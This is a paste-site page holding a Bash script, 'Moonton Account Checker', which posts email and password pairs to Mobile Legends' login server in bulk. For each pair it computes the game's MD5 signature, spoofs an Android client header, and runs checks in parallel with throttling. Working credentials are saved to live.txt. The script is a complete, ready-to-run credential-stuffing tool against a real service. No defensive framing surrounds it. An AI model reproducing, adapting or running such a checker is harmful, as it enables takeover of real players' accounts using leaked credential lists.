ccocot icon

MoontonAccountChecker.sh

ccocot | PRO | 12/28/17 09:52:00 AM UTC | 0 ⭐ | 2058 👁️ | Never ⏰ | []
Bash |

4.58 KB

|

None

|

0 👍

/

0 👎

#!/bin/bash
 
clear
echo -e "\e[92m"
cat << "EOF"
            ######                           #####        
            ######                           #####        
            ######                           #####        
            ##########                  ##########        
                ######                  ######            
                ######                  ######            
                ######                  ######            
            ######################################        
            ######################################        
            ######################################        
        ##############################################    
        ##########   ####################    #########    
        ##########   ####################    #########    
    ######################################################
    ######################################################
    ######################################################
    ######################################################
    #####   ######################################   #####
    #####   ######################################   #####
    #####   ######################################   #####
    #####   ######                           #####   #####
    #####   ######                           #####   #####
    #####   ######                           #####   #####
    #####   ##################   #################   #####
                ##############   #############            
                ##############   #############            
                ##############   #############
EOF
echo -e "\e[0m"
cat << "EOF"
    ------------------------------------------------------
      Moonton Account Checker (Mobile Legends)
      Code By Cyber Screamer | CyberScreamer@bc0de.net
      Thank\'s To Lestravo Mahasiswa Tersakiti & Sikuder
    ------------------------------------------------------
 
EOF
 
function ngecek(){
    local CY='\e[36m'
    local GR='\e[34m'
    local OG='\e[92m'
    local WH='\e[37m'
    local RD='\e[31m'
    local YL='\e[33m'
    local BF='\e[34m'
    local DF='\e[39m'
    local OR='\e[33m'
    local PP='\e[35m'
    local B='\e[1m'
    local CC='\e[0m'
  local empas="${BF}${1}/${2}${CC}"
  local stats="${PP}[$(date +"%T")]${CC} (${3}/${4})"
    local md5pwd=$(echo -n ${2} | md5sum | awk '{ print $1 }')
    local sign=$(echo -n "account="${1}"&md5pwd="${md5pwd}"&op=login" | md5sum | awk '{ print $1 }')
    local postdata="{\"op\":\"login\",\"sign\":\"${sign}\",\"params\":{\"account\":\"${1}\",\"md5pwd\":\"${md5pwd}\"},\"lang\":\"en\"}"
    local result=$(curl -s "http://accountgm.moonton.com:37001" \
    -A "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36" \
    -H "X-Requested-With: com.mobile.legends" \
    -d "${postdata}")
    local STATUS=$(echo $result | grep -Po "(?<=message\":\")[^\"]*")
    local SESSION=$(echo $result | grep -Po "(?<=session\":\")[^\"]*")
    local CODE=$(echo $result | grep -Po "(?<=code\":)[^,]*")
    if [[ $STATUS =~ "Error_Success" ]]; then
        printf "${stats} ${empas} => [${OG}${B}LIVE${CC}] STATUS: ${OG}${STATUS}${CC} | SESSION: ${OG}${SESSION}${CC} | CODE: ${OG}${CODE}${CC}\n"
        echo "${1}|${2}" >> live.txt
    elif [[ $STATUS =~ "Error_PasswdError" || $STATUS =~ "Error_NoAccount" ]]; then
        printf "${stats} ${empas} => [${RD}${B}DIE${CC}] STATUS: ${OR}${STATUS}]${CC} | CODE: ${OR}${CODE}${CC}\n"
        echo "${1}|${2}" >> die.txt
    else
        printf "${stats} ${empas} => [${CY}${B}UNK${CC}] STATUS: ${CY}${STATUS}${CC} | CODE: ${CY}${CODE}${CC}\n"
        echo "${1}|${2}" >> unk.txt
    fi
}
 
# CHECK SPECIAL VAR FOR MAILIST
if [[ -z $1 ]]; then
    printf "To Use $0 <mailist.txt> \n"
    exit 1
fi
 
totallines=$(wc -l < ${1});
itung=1
 
# RATIO
persend=20
setleep=2
 
printf "  ===============================\n"
printf "  [!] Filename: ${1}\n"
printf "  [!] Total Lines: ${totallines}\n"
printf "  [!] Ratio: ${persend} \ ${setleep} Seconds\n"
printf "  ===============================\n\n"
 
IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
 
for (( i = 0; i < ${#mailist[@]}; i++ )); do
  index=$((itung++))
    username="${mailist[$i]}"
    IFS='|' read -r -a array <<< "$username"
    email=${array[0]}
    password=${array[1]}
  if [[ $(expr ${i} % ${persend}) == 0 && $i > 0 ]]; then
    percentage=$((100*$i/$totallines))
    wait
    printf "   >> \e[1;33mSleep for ${setleep}s Total Checked: ${i}(${percentage}%%) - BC0DE.NET\n"
    sleep $setleep
   fi
 
    ngecek "${email}" "${password}" "${index}" "${totallines}" &
done
wait

Comments